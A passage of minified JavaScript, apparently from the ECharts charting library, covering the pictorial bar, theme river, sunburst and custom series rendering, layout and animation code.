r=n.dataIndex,i=n.itemModel,a=i.getModel(`emphasis`),o=a.getModel(`itemStyle`).getItemStyle(),s=i.getModel([`blur`,`itemStyle`]).getItemStyle(),c=i.getModel([`select`,`itemStyle`]).getItemStyle(),l=i.getShallow(`cursor`),u=a.get(`focus`),d=a.get(`blurScope`),f=a.get(`scale`);VW(e,function(e){if(e instanceof ku){var t=e.style;e.useStyle(F({image:t.image,x:t.x,y:t.y,width:t.width,height:t.height},n.style))}else e.useStyle(n.style);var r=e.ensureState(`emphasis`);r.style=o,f&&(r.scaleX=e.scaleX*1.1,r.scaleY=e.scaleY*1.1),e.ensureState(`blur`).style=s,e.ensureState(`select`).style=c,l&&(e.cursor=l),e.z2=n.z2});var p=t.valueDim.posDesc[+(n.boundingLength>0)],m=e.__pictorialBarRect;m.ignoreClip=!0,Rm(m,zm(i),{labelFetcher:t.seriesModel,labelDataIndex:r,defaultText:fA(t.seriesModel.getData(),r),inheritColor:n.style.fill,defaultOpacity:n.style.opacity,defaultOutsidePosition:p}),$d(e,u,d,a.get(`disabled`))}function WW(e){var t=Math.round(e);return Math.abs(e-t)<1e-4?t:Math.ceil(e)}var GW=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.hasSymbolVisual=!0,n.defaultSymbol=`roundRect`,n}return t.prototype.getInitialData=function(t){return t.stack=null,e.prototype.getInitialData.apply(this,arguments)},t.type=`series.pictorialBar`,t.dependencies=[`grid`],t.defaultOption=mh(oj.defaultOption,{symbol:`circle`,symbolSize:null,symbolRotate:null,symbolPosition:null,symbolOffset:null,symbolMargin:null,symbolRepeat:!1,symbolRepeatDirection:`end`,symbolClip:!1,symbolBoundingData:null,symbolPatternSize:400,barGap:`-100%`,clip:!1,progressive:0,emphasis:{scale:!1},select:{itemStyle:{borderColor:Q.color.primary}}}),t}(oj);function KW(e){e.registerChartView(SW),e.registerSeriesModel(GW),e.registerLayout(e.PRIORITY.VISUAL.LAYOUT,pt(GT,`pictorialBar`)),e.registerLayout(e.PRIORITY.VISUAL.PROGRESSIVE_LAYOUT,KT(`pictorialBar`))}var qW=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n._layers=[],n}return t.prototype.render=function(e,t,n){var r=e.getData(),i=this,a=this.group,o=e.getLayerSeries(),s=r.getLayout(`layoutInfo`),c=s.rect,l=s.boundaryGap;a.x=0,a.y=c.y+l[0];function u(e){return e.name}var d=new Cw(this._layersSeries||[],o,u,u),f=[];d.add(z(p,this,`add`)).update(z(p,this,`update`)).remove(z(p,this,`remove`)).execute();function p(t,n,s){var c=i._layers;if(t===`remove`){a.remove(c[n]);return}for(var l=[],u=[],d,p=o[n].indices,m=0;m<p.length;m++){var h=r.getItemLayout(p[m]),g=h.x,_=h.y0,v=h.y;l.push(g,_),u.push(g,_+v),d=r.getItemVisual(p[m],`style`)}var y,b=r.getItemLayout(p[0]),x=e.getModel(`label`).get(`margin`),S=e.getModel(`emphasis`);if(t===`add`){var C=f[n]=new Y;y=new MA({shape:{points:l,stackedOnPoints:u,smooth:.4,stackedOnSmooth:.4,smoothConstraint:!1},z2:0}),C.add(y),a.add(C),e.isAnimationEnabled()&&y.setClipPath(JW(y.getBoundingRect(),e,function(){y.removeClipPath()}))}else{var C=c[s];y=C.childAt(0),a.add(C),f[n]=C,Lp(y,{shape:{points:l,stackedOnPoints:u}},e),Up(y)}Rm(y,zm(e),{labelDataIndex:p[m-1],defaultText:r.getName(p[m-1]),inheritColor:d.fill},{normal:{verticalAlign:`middle`}}),y.setTextConfig({position:null,local:!0});var w=y.getTextContent();w&&(w.x=b.x-x,w.y=b.y0+b.y/2),y.useStyle(d),r.setItemGraphicEl(n,y),rf(y,e),$d(y,S.get(`focus`),S.get(`blurScope`),S.get(`disabled`))}this._layersSeries=o,this._layers=f},t.type=`themeRiver`,t}(Ab);function JW(e,t,n){var r=new Lu({shape:{x:e.x-10,y:e.y-10,width:0,height:e.height+20}});return Rp(r,{shape:{x:e.x-50,width:e.width+100,height:e.height+20}},t,n),r}var YW=2,XW=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.init=function(t){e.prototype.init.apply(this,arguments),this.legendVisualProvider=new rM(z(this.getData,this),z(this.getRawData,this))},t.prototype.fixData=function(e){var t=e.length,n={},r=gc(e,function(e){return n.hasOwnProperty(e[0]+``)||(n[e[0]+``]=-1),e[2]}),i=[];r.buckets.each(function(e,t){i.push({name:t,dataList:e})});for(var a=i.length,o=0;o<a;++o){for(var s=i[o].name,c=0;c<i[o].dataList.length;++c){var l=i[o].dataList[c][0]+``;n[l]=o}for(var l in n)n.hasOwnProperty(l)&&n[l]!==o&&(n[l]=o,e[t]=[l,0,s],t++)}return e},t.prototype.getInitialData=function(e,t){for(var n=this.getReferringComponents(`singleAxis`,uc).models[0].get(`type`),r=lt(e.data,function(e){return e[2]!==void 0}),i=this.fixData(r||[]),a=[],o=this.nameMap=G(),s=0,c=0;c<i.length;++c)a.push(i[c][YW]),o.get(i[c][YW])||(o.set(i[c][YW],s),s++);var l=Qw(i,{coordDimensions:[`single`],dimensionsDefine:[{name:`time`,type:Dw(n)},{name:`value`,type:`float`},{name:`name`,type:`ordinal`}],encodeDefine:{single:0,value:1,itemName:2}}).dimensions,u=new Zw(l,this);return u.initData(i),u},t.prototype.getLayerSeries=function(){for(var e=this.getData(),t=e.count(),n=[],r=0;r<t;++r)n[r]=r;var i=e.mapDimension(`single`),a=gc(n,function(t){return e.get(`name`,t)}),o=[];return a.buckets.each(function(t,n){t.sort(function(t,n){return e.get(i,t)-e.get(i,n)}),o.push({name:n,indices:t})}),o},t.prototype.getAxisTooltipData=function(e,t,n){B(e)||(e=e?[e]:[]);for(var r=this.getData(),i=this.getLayerSeries(),a=[],o=i.length,s,c=0;c<o;++c){for(var l=Number.MAX_VALUE,u=-1,d=i[c].indices.length,f=0;f<d;++f){var p=r.get(e[0],i[c].indices[f]),m=Math.abs(p-t);m<=l&&(s=p,l=m,u=i[c].indices[f])}a.push(u)}return{dataIndices:a,nestestValue:s}},t.prototype.formatTooltip=function(e,t,n){var r=this.getData();return Xy(`nameValue`,{name:r.getName(e),value:r.get(r.mapDimension(`value`),e)})},t.type=`series.themeRiver`,t.dependencies=[`singleAxis`],t.defaultOption={z:2,colorBy:`data`,coordinateSystem:`singleAxis`,boundaryGap:[`10%`,`10%`],singleAxisIndex:0,animationEasing:`linear`,label:{margin:4,show:!0,position:`left`,fontSize:11},emphasis:{label:{show:!0}}},t}(_b);function ZW(e,t){e.eachSeriesByType(`themeRiver`,function(e){var t=e.getData(),n=e.coordinateSystem,r={},i=n.getRect();r.rect=i;var a=e.get(`boundaryGap`),o=n.getAxis();r.boundaryGap=a,o.orient===`horizontal`?(a[0]=X(a[0],i.height),a[1]=X(a[1],i.height),QW(t,e,i.height-a[0]-a[1])):(a[0]=X(a[0],i.width),a[1]=X(a[1],i.width),QW(t,e,i.width-a[0]-a[1])),t.setLayout(`layoutInfo`,r)})}function QW(e,t,n){if(e.count())for(var r=t.coordinateSystem,i=t.getLayerSeries(),a=e.mapDimension(`single`),o=e.mapDimension(`value`),s=R(i,function(t){return R(t.indices,function(t){var n=r.dataToPoint(e.get(a,t));return n[1]=e.get(o,t),n})}),c=$W(s),l=c.y0,u=n/c.max,d=i.length,f=i[0].indices.length,p,m=0;m<f;++m){p=l[m]*u,e.setItemLayout(i[0].indices[m],{layerIndex:0,x:s[0][m][0],y0:p,y:s[0][m][1]*u});for(var h=1;h<d;++h)p+=s[h-1][m][1]*u,e.setItemLayout(i[h].indices[m],{layerIndex:h,x:s[h][m][0],y0:p,y:s[h][m][1]*u})}}function $W(e){for(var t=e.length,n=e[0].length,r=[],i=[],a=0,o=0;o<n;++o){for(var s=0,c=0;c<t;++c)s+=e[c][o][1];s>a&&(a=s),r.push(s)}for(var l=0;l<n;++l)i[l]=(a-r[l])/2;a=0;for(var u=0;u<n;++u){var d=r[u]+i[u];d>a&&(a=d)}return{y0:i,max:a}}function eG(e){e.registerChartView(qW),e.registerSeriesModel(XW),e.registerLayout(ZW),e.registerProcessor(Wj(`themeRiver`))}var tG=2,nG=4,rG=function(e){N(t,e);function t(t,n,r,i){var a=e.call(this)||this;a.z2=tG,a.textConfig={inside:!0},Z(a).seriesIndex=n.seriesIndex;var o=new Hu({z2:nG,silent:t.getModel().get([`label`,`silent`])});return a.setTextContent(o),a.updateData(!0,t,n,r,i),a}return t.prototype.updateData=function(e,t,n,r,i){this.node=t,t.piece=this,n||=this._seriesModel,r||=this._ecModel;var a=this;Z(a).dataIndex=t.dataIndex;var o=t.getModel(),s=o.getModel(`emphasis`),c=t.getLayout(),l=F({},c);l.label=null;var u=t.getVisual(`style`);u.lineJoin=`bevel`;var d=t.getVisual(`decal`);d&&(u.decal=kS(d,i)),F(l,mj(o.getModel(`itemStyle`),l,!0)),L(sd,function(e){var t=a.ensureState(e),n=o.getModel([e,`itemStyle`]);t.style=n.getItemStyle();var r=mj(n,l);r&&(t.shape=r)}),e?(a.setShape(l),a.shape.r=c.r0,Rp(a,{shape:{r:c.r}},n,t.dataIndex)):(Lp(a,{shape:l},n),Up(a)),a.useStyle(u),this._updateLabel(n);var f=o.getShallow(`cursor`);f&&a.attr(`cursor`,f),this._seriesModel=n||this._seriesModel,this._ecModel=r||this._ecModel;var p=s.get(`focus`),m=p===`relative`?It(t.getAncestorsIndices(),t.getDescendantIndices()):p===`ancestor`?t.getAncestorsIndices():p===`descendant`?t.getDescendantIndices():p;$d(this,m,s.get(`blurScope`),s.get(`disabled`))},t.prototype._updateLabel=function(e){var t=this,n=this.node.getModel(),r=n.getModel(`label`),i=this.node.getLayout(),a=i.endAngle-i.startAngle,o=(i.startAngle+i.endAngle)/2,s=Math.cos(o),c=Math.sin(o),l=this,u=l.getTextContent(),d=this.node.dataIndex,f=r.get(`minAngle`)/180*Math.PI;u.ignore=!(r.get(`show`)&&!(f!=null&&Math.abs(a)<f)),L(cd,function(r){var f=r===`normal`?n.getModel(`label`):n.getModel([r,`label`]),m=r===`normal`,h=m?u:u.ensureState(r),g=e.getFormattedLabel(d,r);m&&(g||=t.node.name),h.style=Bm(f,{},null,r!==`normal`,!0),g&&(h.style.text=g);var _=f.get(`show`);_!=null&&!m&&(h.ignore=!_);var v=p(f,`position`),y=m?l:l.states[r],b=y.style.fill;y.textConfig={outsideFill:f.get(`color`)===`inherit`?b:null,inside:v!==`outside`};var x,S=p(f,`distance`)||0,C=p(f,`align`),w=p(f,`rotate`),T=Math.PI*.5,E=Math.PI*1.5,D=ru(w===`tangential`?Math.PI/2-o:o),O=D>T&&!gs(D-T)&&D<E;v===`outside`?(x=i.r+S,C=O?`right`:`left`):!C||C===`center`?(x=a===2*Math.PI&&i.r0===0?0:(i.r+i.r0)/2,C=`center`):C===`left`?(x=i.r0+S,C=O?`right`:`left`):C===`right`&&(x=i.r-S,C=O?`left`:`right`),h.style.align=C,h.style.verticalAlign=p(f,`verticalAlign`)||`middle`,h.x=x*s+i.cx,h.y=x*c+i.cy;var k=0;w===`radial`?k=ru(-o)+(O?Math.PI:0):w===`tangential`?k=ru(Math.PI/2-o)+(O?Math.PI:0):ht(w)&&(k=w*Math.PI/180),h.rotation=ru(k)});function p(e,t){return e.get(t)??r.get(t)}u.dirtyStyle()},t}(tp),iG=`sunburstRootToNode`,aG=`sunburstHighlight`,oG=`sunburstUnhighlight`;function sG(e){e.registerAction({type:iG,update:`updateView`},function(e,t){t.eachComponent({mainType:`series`,subType:`sunburst`,query:e},n);function n(t,n){var r=fL(e,[iG],t);if(r){var i=t.getViewRoot();i&&(e.direction=mL(i,r.node)?`rollUp`:`drillDown`),t.resetViewRoot(r.node)}}}),e.registerAction({type:aG,update:`none`},function(e,t,n){e=F({},e),t.eachComponent({mainType:`series`,subType:`sunburst`,query:e},r);function r(t){var n=fL(e,[aG],t);n&&(e.dataIndex=n.node.dataIndex)}n.dispatchAction(F(e,{type:`highlight`}))}),e.registerAction({type:oG,update:`updateView`},function(e,t,n){e=F({},e),n.dispatchAction(F(e,{type:`downplay`}))})}var cG=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(e,t,n,r){var i=this;this.seriesModel=e,this.api=n,this.ecModel=t;var a=e.getData(),o=a.tree.root,s=e.getViewRoot(),c=this.group,l=e.get(`renderLabelForZeroData`),u=[];s.eachNode(function(e){u.push(e)}),d(u,this._oldChildren||[]),m(o,s),this._initEvents(),this._oldChildren=u;function d(e,t){if(e.length===0&&t.length===0)return;new Cw(t,e,n,n).add(r).update(r).remove(pt(r,null)).execute();function n(e){return e.getId()}function r(n,r){f(n==null?null:e[n],r==null?null:t[r])}}function f(r,i){if(!l&&r&&!r.getValue()&&(r=null),r!==o&&i!==o){if(i&&i.piece)r?(i.piece.updateData(!1,r,e,t,n),a.setItemGraphicEl(r.dataIndex,i.piece)):p(i);else if(r){var s=new rG(r,e,t,n);c.add(s),a.setItemGraphicEl(r.dataIndex,s)}}}function p(e){e&&(e.piece&&=(c.remove(e.piece),null))}function m(r,a){a.depth>0?(i.virtualPiece?i.virtualPiece.updateData(!1,r,e,t,n):(i.virtualPiece=new rG(r,e,t,n),c.add(i.virtualPiece)),a.piece.off(`click`),i.virtualPiece.on(`click`,function(e){i._rootToNode(a.parentNode)})):i.virtualPiece&&=(c.remove(i.virtualPiece),null)}},t.prototype._initEvents=function(){var e=this;this.group.off(`click`),this.group.on(`click`,function(t){var n=!1;e.seriesModel.getViewRoot().eachNode(function(r){if(!n&&r.piece&&r.piece===t.target){var i=r.getModel().get(`nodeClick`);if(i===`rootToNode`)e._rootToNode(r);else if(i===`link`){var a=r.getModel(),o=a.get(`link`);o&&Sg(o,a.get(`target`,!0)||`_blank`)}n=!0}})})},t.prototype._rootToNode=function(e){e!==this.seriesModel.getViewRoot()&&this.api.dispatchAction({type:iG,from:this.uid,seriesId:this.seriesModel.id,targetNode:e})},t.prototype.containPoint=function(e,t){var n=t.getData().getItemLayout(0);if(n){var r=e[0]-n.cx,i=e[1]-n.cy,a=Math.sqrt(r*r+i*i);return a<=n.r&&a>=n.r0}},t.type=`sunburst`,t}(Ab),lG=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.ignoreStyleOnData=!0,n}return t.prototype.getInitialData=function(e,t){var n={name:e.name,children:e.data};uG(n);var r=this._levelModels=R(e.levels||[],function(e){return new lh(e,this,t)},this),i=uL.createTree(n,this,a);function a(e){e.wrapMethod(`getItemModel`,function(e,t){var n=r[i.getNodeByDataIndex(t).depth];return n&&(e.parentModel=n),e})}return i.data},t.prototype.optionUpdated=function(){this.resetViewRoot()},t.prototype.getDataParams=function(t){var n=e.prototype.getDataParams.apply(this,arguments);return n.treePathInfo=hL(this.getData().tree.getNodeByDataIndex(t),this),n},t.prototype.getLevelModel=function(e){return this._levelModels&&this._levelModels[e.depth]},t.prototype.getViewRoot=function(){return this._viewRoot},t.prototype.resetViewRoot=function(e){e?this._viewRoot=e:e=this._viewRoot;var t=this.getRawData().tree.root;(!e||e!==t&&!t.contains(e))&&(this._viewRoot=t)},t.prototype.enableAriaDecal=function(){EL(this)},t.type=`series.sunburst`,t.defaultOption={z:2,center:[`50%`,`50%`],radius:[0,`75%`],clockwise:!0,startAngle:90,minAngle:0,stillShowZeroSum:!0,nodeClick:`rootToNode`,renderLabelForZeroData:!1,label:{rotate:`radial`,show:!0,opacity:1,align:`center`,position:`inside`,distance:5,silent:!0},itemStyle:{borderWidth:1,borderColor:`white`,borderType:`solid`,shadowBlur:0,shadowColor:`rgba(0, 0, 0, 0.2)`,shadowOffsetX:0,shadowOffsetY:0,opacity:1},emphasis:{focus:`descendant`},blur:{itemStyle:{opacity:.2},label:{opacity:.1}},animationType:`expansion`,animationDuration:1e3,animationDurationUpdate:500,data:[],sort:`desc`},t}(_b);function uG(e){var t=0;L(e.children,function(e){uG(e);var n=e.value;B(n)&&(n=n[0]),t+=n});var n=e.value;B(n)&&(n=n[0]),(n==null||isNaN(n))&&(n=t),n<0&&(n=0),B(e.value)?e.value[0]=n:e.value=n}var dG=Math.PI/180;function fG(e,t,n){t.eachSeriesByType(e,function(e){var t=e.get(`center`),r=e.get(`radius`);B(r)||(r=[0,r]),B(t)||(t=[t,t]);var i=n.getWidth(),a=n.getHeight(),o=Math.min(i,a),s=X(t[0],i),c=X(t[1],a),l=X(r[0],o/2),u=X(r[1],o/2),d=-e.get(`startAngle`)*dG,f=e.get(`minAngle`)*dG,p=e.getData().tree.root,m=e.getViewRoot(),h=m.depth,g=e.get(`sort`);g!=null&&pG(m,g);var _=0;L(m.children,function(e){!isNaN(e.getValue())&&_++});var v=m.getValue(),y=Math.PI/(v||_)*2,b=m.depth>0,x=m.height-(b?-1:1),S=(u-l)/(x||1),C=e.get(`clockwise`),w=e.get(`stillShowZeroSum`),T=C?1:-1,E=function(t,n){if(t){var r=n;if(t!==p){var i=t.getValue(),a=v===0&&w?y:i*y;a<f&&(a=f),r=n+T*a;var u=t.depth-h-(b?-1:1),d=l+S*u,m=l+S*(u+1),g=e.getLevelModel(t);if(g){var _=g.get(`r0`,!0),x=g.get(`r`,!0),D=g.get(`radius`,!0);D!=null&&(_=D[0],x=D[1]),_!=null&&(d=X(_,o/2)),x!=null&&(m=X(x,o/2))}t.setLayout({angle:a,startAngle:n,endAngle:r,clockwise:C,cx:s,cy:c,r0:d,r:m})}if(t.children&&t.children.length){var O=0;L(t.children,function(e){O+=E(e,n+O)})}return r-n}};if(b){var D=l,O=l+S,k=Math.PI*2;p.setLayout({angle:k,startAngle:d,endAngle:d+k,clockwise:C,cx:s,cy:c,r0:D,r:O})}E(m,d)})}function pG(e,t){var n=e.children||[];e.children=mG(n,t),n.length&&L(e.children,function(e){pG(e,t)})}function mG(e,t){if(V(t)){var n=R(e,function(e,t){var n=e.getValue();return{params:{depth:e.depth,height:e.height,dataIndex:e.dataIndex,getValue:function(){return n}},index:t}});return n.sort(function(e,n){return t(e.params,n.params)}),R(n,function(t){return e[t.index]})}else{var r=t===`asc`;return e.sort(function(e,t){var n=(e.getValue()-t.getValue())*(r?1:-1);return n===0?(e.dataIndex-t.dataIndex)*(r?-1:1):n})}}function hG(e){var t={};function n(e,n,r){if(e.depth===0)return Q.color.neutral50;for(var i=e;i&&i.depth>1;)i=i.parentNode;var a=n.getColorFromPalette(i.name||i.dataIndex+``,t);return e.depth>1&&H(a)&&(a=Mi(a,(e.depth-1)/(r-1)*.5)),a}e.eachSeriesByType(`sunburst`,function(e){var t=e.getData(),r=t.tree;r.eachNode(function(i){var a=i.getModel().getModel(`itemStyle`).getItemStyle();a.fill||=n(i,e,r.root.height),F(t.ensureUniqueItemVisual(i.dataIndex,`style`),a)})})}function gG(e){e.registerChartView(cG),e.registerSeriesModel(lG),e.registerLayout(pt(fG,`sunburst`)),e.registerProcessor(pt(Wj,`sunburst`)),e.registerVisual(hG),sG(e)}var _G={color:`fill`,borderColor:`stroke`},vG={symbol:1,symbolSize:1,symbolKeepAspect:1,legendIcon:1,visualMeta:1,liftZ:1,decal:1},yG=oc(),bG=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.optionUpdated=function(){this.currentZLevel=this.get(`zlevel`,!0),this.currentZ=this.get(`z`,!0)},t.prototype.getInitialData=function(e,t){return fT(null,this)},t.prototype.getDataParams=function(t,n,r){var i=e.prototype.getDataParams.call(this,t,n);return r&&(i.info=yG(r).info),i},t.type=`series.custom`,t.dependencies=[`grid`,`polar`,`geo`,`singleAxis`,`calendar`,`matrix`],t.defaultOption={coordinateSystem:`cartesian2d`,z:2,legendHoverLink:!0,clip:!1},t}(_b);function xG(e,t){return t||=[0,0],R([`x`,`y`],function(n,r){var i=this.getAxis(n),a=t[r],o=e[r]/2;return i.type===`category`?i.getBandWidth():Math.abs(i.dataToCoord(a-o)-i.dataToCoord(a+o))},this)}function SG(e){var t=e.master.getRect();return{coordSys:{type:`cartesian2d`,x:t.x,y:t.y,width:t.width,height:t.height},api:{coord:function(t){return e.dataToPoint(t)},size:z(xG,e)}}}function CG(e,t){return t||=[0,0],R([0,1],function(n){var r=t[n],i=e[n]/2,a=[],o=[];return a[n]=r-i,o[n]=r+i,a[1-n]=o[1-n]=t[1-n],Math.abs(this.dataToPoint(a)[n]-this.dataToPoint(o)[n])},this)}function wG(e){var t=e.getBoundingRect();return{coordSys:{type:`geo`,x:t.x,y:t.y,width:t.width,height:t.height,zoom:e.getZoom()},api:{coord:function(t){return e.dataToPoint(t)},size:z(CG,e)}}}function TG(e,t){var n=this.getAxis(),r=t instanceof Array?t[0]:t,i=(e instanceof Array?e[0]:e)/2;return n.type===`category`?n.getBandWidth():Math.abs(n.dataToCoord(r-i)-n.dataToCoord(r+i))}function EG(e){var t=e.getRect();return{coordSys:{type:`singleAxis`,x:t.x,y:t.y,width:t.width,height:t.height},api:{coord:function(t){return e.dataToPoint(t)},size:z(TG,e)}}}function DG(e,t){return t||=[0,0],R([`Radius`,`Angle`],function(n,r){var i=`get`+n+`Axis`,a=this[i](),o=t[r],s=e[r]/2,c=a.type===`category`?a.getBandWidth():Math.abs(a.dataToCoord(o-s)-a.dataToCoord(o+s));return n===`Angle`&&(c=c*Math.PI/180),c},this)}function OG(e){var t=e.getRadiusAxis(),n=e.getAngleAxis(),r=t.getExtent();return r[0]>r[1]&&r.reverse(),{coordSys:{type:`polar`,cx:e.cx,cy:e.cy,r:r[1],r0:r[0]},api:{coord:function(r){var i=t.dataToRadius(r[0]),a=n.dataToAngle(r[1]),o=e.coordToPoint([i,a]);return o.push(i,a*Math.PI/180),o},size:z(DG,e)}}}function kG(e){var t=e.getRect(),n=e.getRangeInfo();return{coordSys:{type:`calendar`,x:t.x,y:t.y,width:t.width,height:t.height,cellWidth:e.getCellWidth(),cellHeight:e.getCellHeight(),rangeInfo:{start:n.start,end:n.end,weeks:n.weeks,dayCount:n.allDay}},api:{coord:function(t,n){return e.dataToPoint(t,n)},layout:function(t,n){return e.dataToLayout(t,n)}}}}function AG(e){var t=e.getRect();return{coordSys:{type:`matrix`,x:t.x,y:t.y,width:t.width,height:t.height},api:{coord:function(t,n){return e.dataToPoint(t,n)},layout:function(t,n){return e.dataToLayout(t,n)}}}}function jG(e,t,n,r){return e&&(e.legacy||e.legacy!==!1&&!n&&!r&&t!==`tspan`&&(t===`text`||K(e,`text`)))}function MG(e,t,n){var r=e,i,a,o;if(t===`text`)o=r;else{o={},K(r,`text`)&&(o.text=r.text),K(r,`rich`)&&(o.rich=r.rich),K(r,`textFill`)&&(o.fill=r.textFill),K(r,`textStroke`)&&(o.stroke=r.textStroke),K(r,`fontFamily`)&&(o.fontFamily=r.fontFamily),K(r,`fontSize`)&&(o.fontSize=r.fontSize),K(r,`fontStyle`)&&(o.fontStyle=r.fontStyle),K(r,`fontWeight`)&&(o.fontWeight=r.fontWeight),a={type:`text`,style:o,silent:!0},i={};var s=K(r,`textPosition`);n?i.position=s?r.textPosition:`inside`:s&&(i.position=r.textPosition),K(r,`textPosition`)&&(i.position=r.textPosition),K(r,`textOffset`)&&(i.offset=r.textOffset),K(r,`textRotation`)&&(i.rotation=r.textRotation),K(r,`textDistance`)&&(i.distance=r.textDistance)}return NG(o,e),L(o.rich,function(e){NG(e,e)}),{textConfig:i,textContent:a}}function NG(e,t){t&&(t.font=t.textFont||t.font,K(t,`textStrokeWidth`)&&(e.lineWidth=t.textStrokeWidth),K(t,`textAlign`)&&(e.align=t.textAlign),K(t,`textVerticalAlign`)&&(e.verticalAlign=t.textVerticalAlign),K(t,`textLineHeight`)&&(e.lineHeight=t.textLineHeight),K(t,`textWidth`)&&(e.width=t.textWidth),K(t,`textHeight`)&&(e.height=t.textHeight),K(t,`textBackgroundColor`)&&(e.backgroundColor=t.textBackgroundColor),K(t,`textPadding`)&&(e.padding=t.textPadding),K(t,`textBorderColor`)&&(e.borderColor=t.textBorderColor),K(t,`textBorderWidth`)&&(e.borderWidth=t.textBorderWidth),K(t,`textBorderRadius`)&&(e.borderRadius=t.textBorderRadius),K(t,`textBoxShadowColor`)&&(e.shadowColor=t.textBoxShadowColor),K(t,`textBoxShadowBlur`)&&(e.shadowBlur=t.textBoxShadowBlur),K(t,`textBoxShadowOffsetX`)&&(e.shadowOffsetX=t.textBoxShadowOffsetX),K(t,`textBoxShadowOffsetY`)&&(e.shadowOffsetY=t.textBoxShadowOffsetY))}function PG(e,t,n){var r=e;r.textPosition=r.textPosition||n.position||`inside`,n.offset!=null&&(r.textOffset=n.offset),n.rotation!=null&&(r.textRotation=n.rotation),n.distance!=null&&(r.textDistance=n.distance);var i=r.textPosition.indexOf(`inside`)>=0,a=e.fill||Q.color.neutral99;FG(r,t);var o=r.textFill==null;return i?o&&(r.textFill=n.insideFill||Q.color.neutral00,!r.textStroke&&n.insideStroke&&(r.textStroke=n.insideStroke),!r.textStroke&&(r.textStroke=a),r.textStrokeWidth??=2):(o&&(r.textFill=e.fill||n.outsideFill||Q.color.neutral00),!r.textStroke&&n.outsideStroke&&(r.textStroke=n.outsideStroke)),r.text=t.text,r.rich=t.rich,L(t.rich,function(e){FG(e,e)}),r}function FG(e,t){t&&(K(t,`fill`)&&(e.textFill=t.fill),K(t,`stroke`)&&(e.textStroke=t.fill),K(t,`lineWidth`)&&(e.textStrokeWidth=t.lineWidth),K(t,`font`)&&(e.font=t.font),K(t,`fontStyle`)&&(e.fontStyle=t.fontStyle),K(t,`fontWeight`)&&(e.fontWeight=t.fontWeight),K(t,`fontSize`)&&(e.fontSize=t.fontSize),K(t,`fontFamily`)&&(e.fontFamily=t.fontFamily),K(t,`align`)&&(e.textAlign=t.align),K(t,`verticalAlign`)&&(e.textVerticalAlign=t.verticalAlign),K(t,`lineHeight`)&&(e.textLineHeight=t.lineHeight),K(t,`width`)&&(e.textWidth=t.width),K(t,`height`)&&(e.textHeight=t.height),K(t,`backgroundColor`)&&(e.textBackgroundColor=t.backgroundColor),K(t,`padding`)&&(e.textPadding=t.padding),K(t,`borderColor`)&&(e.textBorderColor=t.borderColor),K(t,`borderWidth`)&&(e.textBorderWidth=t.borderWidth),K(t,`borderRadius`)&&(e.textBorderRadius=t.borderRadius),K(t,`shadowColor`)&&(e.textBoxShadowColor=t.shadowColor),K(t,`shadowBlur`)&&(e.textBoxShadowBlur=t.shadowBlur),K(t,`shadowOffsetX`)&&(e.textBoxShadowOffsetX=t.shadowOffsetX),K(t,`shadowOffsetY`)&&(e.textBoxShadowOffsetY=t.shadowOffsetY),K(t,`textShadowColor`)&&(e.textShadowColor=t.textShadowColor),K(t,`textShadowBlur`)&&(e.textShadowBlur=t.textShadowBlur),K(t,`textShadowOffsetX`)&&(e.textShadowOffsetX=t.textShadowOffsetX),K(t,`textShadowOffsetY`)&&(e.textShadowOffsetY=t.textShadowOffsetY))}var IG={position:[`x`,`y`],scale:[`scaleX`,`scaleY`],origin:[`originX`,`originY`]},LG=dt(IG);ct(po,function(e,t){return e[t]=1,e},{}),po.join(`, `);var RG=[``,`style`,`shape`,`extra`],zG=oc();function BG(e,t,n,r,i){var a=e+`Animation`,o=Fp(e,r,i)||{},s=zG(t).userDuring;return o.duration>0&&(o.during=s?z(XG,{el:t,userDuring:s}):null,o.setToFinal=!0,o.scope=e),F(o,n[a]),o}function VG(e,t,n,r){r||={};var i=r.dataIndex,a=r.isInit,o=r.clearStyle,s=n.isAnimationEnabled(),c=zG(e),l=t.style;c.userDuring=t.during;var u={},d={};if(eK(e,t,d),e.type===`compound`)for(var f=e.shape.paths,p=t.shape.paths,m=0;m<p.length;m++){var h=p[m];QG(`shape`,h,f[m])}else QG(`shape`,t,d),QG(`extra`,t,d);if(!a&&s&&($G(e,t,u),ZG(`shape`,e,t,u),ZG(`extra`,e,t,u),tK(e,t,l,u)),d.style=l,GG(e,d,o),qG(e,t),s)if(a){var g={};L(RG,function(e){var n=e?t[e]:t;n&&n.enterFrom&&(e&&(g[e]=g[e]||{}),F(e?g[e]:g,n.enterFrom))});var _=BG(`enter`,e,t,n,i);_.duration>0&&e.animateFrom(g,_)}else KG(e,t,i||0,n,u);HG(e,t),l?e.dirty():e.markRedraw()}function HG(e,t){for(var n=zG(e).leaveToProps,r=0;r<RG.length;r++){var i=RG[r],a=i?t[i]:t;a&&a.leaveTo&&(n||=zG(e).leaveToProps={},i&&(n[i]=n[i]||{}),F(i?n[i]:n,a.leaveTo))}}function UG(e,t,n,r){if(e){var i=e.parent,a=zG(e).leaveToProps;if(a){var o=BG(`update`,e,t,n,0);o.done=function(){i&&i.remove(e),r&&r()},e.animateTo(a,o)}else i&&i.remove(e),r&&r()}}function WG(e){return e===`all`}function GG(e,t,n){var r=t.style;if(!e.isGroup&&r){if(n){e.useStyle({});for(var i=e.animators,a=0;a<i.length;a++){var o=i[a];o.targetName===`style`&&o.changeTarget(e.style)}}e.setStyle(r)}t&&(t.style=null,t&&e.attr(t),t.style=r)}function KG(e,t,n,r,i){if(i){var a=BG(`update`,e,t,r,n);a.duration>0&&e.animateFrom(i,a)}}function qG(e,t){K(t,`silent`)&&(e.silent=t.silent),K(t,`ignore`)&&(e.ignore=t.ignore),e instanceof hl&&K(t,`invisible`)&&(e.invisible=t.invisible),e instanceof Cu&&K(t,`autoBatch`)&&(e.autoBatch=t.autoBatch)}var JG={},YG={setTransform:function(e,t){return JG.el[e]=t,this},getTransform:function(e){return JG.el[e]},setShape:function(e,t){var n=JG.el,r=n.shape||={};return r[e]=t,n.dirtyShape&&n.dirtyShape(),this},getShape:function(e){var t=JG.el.shape;if(t)return 